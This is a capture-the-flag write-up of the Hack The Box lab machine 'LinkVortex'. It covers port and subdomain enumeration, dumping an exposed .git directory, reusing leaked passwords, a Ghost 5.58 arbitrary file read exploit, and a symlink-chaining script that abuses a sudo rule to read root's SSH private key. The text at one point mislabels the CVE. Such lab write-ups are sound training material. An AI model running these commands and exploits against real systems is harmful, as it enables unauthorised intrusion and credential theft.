Writeups

Aquí puedes encontrar algunos writeups de máquinas de Hack The Box que he resuelto. Ábrelos para ver los detalles de cada máquina, incluyendo los pasos que seguí para resolverlas, las herramientas que utilicé y los retos a los que me enfrenté.

No dudes en ponerte en contacto si tienes alguna pregunta o quieres discutir cualquier cosa relacionada con la ciberseguridad o el desarrollo web.

Ver otros writeups

LinkVortex

LinkVortex icon

Difficulty: Easy

OS: Linux

Solved on: 2025/10/05

htb logo

Enumeration

We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports:

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.47 -oN allPorts
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

We will add <dns>.htb to our /etc/hosts file for easier access:

echo "10.10.11.47 <dns>.htb" | sudo tee -a /etc/hosts

Now we will scan the open ports with service version detection and script scanning using -sC and -sV options

nmap -p 22,80 -sCV 10.10.11.47 -oN targeted
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-generator: Ghost 5.58
| http-robots.txt: 4 disallowed entries 
|_/ghost/ /p/ /email/ /r/
|_http-title: BitByBit Hardware

We find a website running Ghost, a blogging platform. We use gobuster to enumerate directories:

gobuster dir -u http://linkvortex.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -xl 0
/assets               (Status: 301) [Size: 179] [--> /assets/]
/LICENSE              (Status: 200) [Size: 1065]

We look for subdomains using ffuf:

ffuf -u http://linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 200 -H "Host: FUZZ.linkvortex.htb" -fc 301```
dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 51ms]

We add dev.linkvortex.htb to our /etc/hosts file:

echo "10.10.11.47 dev.linkvortex.htb" | sudo tee -a /etc/hosts

We find a development instance of the Ghost blog. We use ffuf to enumerate directories:

ffuf -u http://dev.linkvortex.htb/FUZZ/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 200
.hta                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.git/logs/              [Status: 200, Size: 868, Words: 59, Lines: 16, Duration: 46ms]
.git                    [Status: 200, Size: 2796, Words: 186, Lines: 26, Duration: 46ms]

We find a .git directory. We use git-dumper to download the repository:

git clone https://github.com/arthaud/git-dumper
cd git-dumper
python3 gitdumper.py http://dev.linkvortex.htb/.git/ dumped

We find a admin test file with some credentials in ghost/core/test/regression/api/admin/authentication.test.js:

it('complete setup', async function () {
    const email = 'test@example.com';
    const password = 'OctopiFociPilfer45';

User Exploitation

We try to login to the Ghost admin panel on http://linkvortex.htb/ghost with the credentials test@example.com:OctopiFociPilfer45 but are unsuccessful:

As this user does not exist, we try with other common emails like:

  • ghost@linkvortex.htb
  • admin@linkvortex.htb
  • test@linkvortex.htb

We are able to login with admin@linkvortex.htb:OctopiFociPilfer45.

We find a vulnerability in the Ghost version 5.58 called (CVE-2023-3519) which allows arbitrary file read. We use this repo to exploit it:

git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
cd Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
./CVE-2023-40028.py -u "admin@linkvortex.htb" -p"OctopiFociPilfer45" -h "http://linkvortex.htb"
/etc/hostname
File content:
4279cdfa76ca

This looks like a Docker container hostname. We try to read the config file in /var/lib/ghost/config.production.json. We choose this file as the Dockerfile copies the config file to this location:

COPY config.production.json /var/lib/ghost/config.production.json

We get the config file:

./CVE-2023-40028.py -u "admin@linkvortex.htb" -p"OctopiFociPilfer45" -h "http://linkvortex.htb"
/var/lib/ghost/config.production.json
File content:
"mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }

We find credentials some credentials for bob@linkvortex.htb, we try to login as this bob via SSH with the password fibber-talented-worth and are successful:

ssh bob@linkvortex.htb
Password: fibber-talented-worth
whoami
bob

Now we can read the user flag:

cat /home/bob/user.txt
user flag value

Root Exploitation

We check the sudo permissions for bob:

sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

We see that bob can run the script /opt/ghost/clean_symlink.sh as root. We check the content of this script:

cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

We see that if CHECK_CONTENT is set to true and file is a symlink to a not critical file, the script will print the content of the symlink target.

We can create 2 symlinks

  1. home/bob/a.png -> /root/.ssh/id_rsa
  2. home/bob/b.png -> home/bob/a.png

This way when we run the script with CHECK_CONTENT set to true and /home/bob/b.png as argument, the script will follow the symlink to /home/bob/a.png which is a non critial file. Then it will print the content of /home/bob/a.png which is a symlink to /root/.ssh/id_rsa.

We can automate this with the following script:

#!/bin/bash

ln -s -f "$1" /home/bob/a.png
ln -s -f /home/bob/a.png /home/bob/b.png

CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/b.png

We run the script to get the root private key:

chmod +x exploit.sh
./exploit.sh /root/.ssh/id_rsa | tee key.txt
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6
...
xmo6eXMvU90HVbakUoRspYWISr51uVEvIDuNcZUJlseINXimZkrkD40QTMrYJc9slj9wkA
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----

We set the correct permissions and login as root:

chmod 600 key.txt
ssh -i key.txt root@linkvortex.htb
whoami
root

We can now read the root flag:

cat /root/root.txt
root flag value

Conclusion

In this writeup, we exploited a Ghost blogging platform vulnerability to read arbitrary files and obtain user credentials. We then leveraged a misconfigured sudo script to escalate our privileges to root by exploiting symlink behavior. This allowed us to read the root SSH private key and gain full control of the machine.


Ver otros writeups

Aquí puedes encontrar algunos writeups de máquinas de Hack The Box que he resuelto. Ábrelos para ver los detalles de cada máquina, incluyendo los pasos que seguí para resolverlas, las herramientas que utilicé y los retos a los que me enfrenté.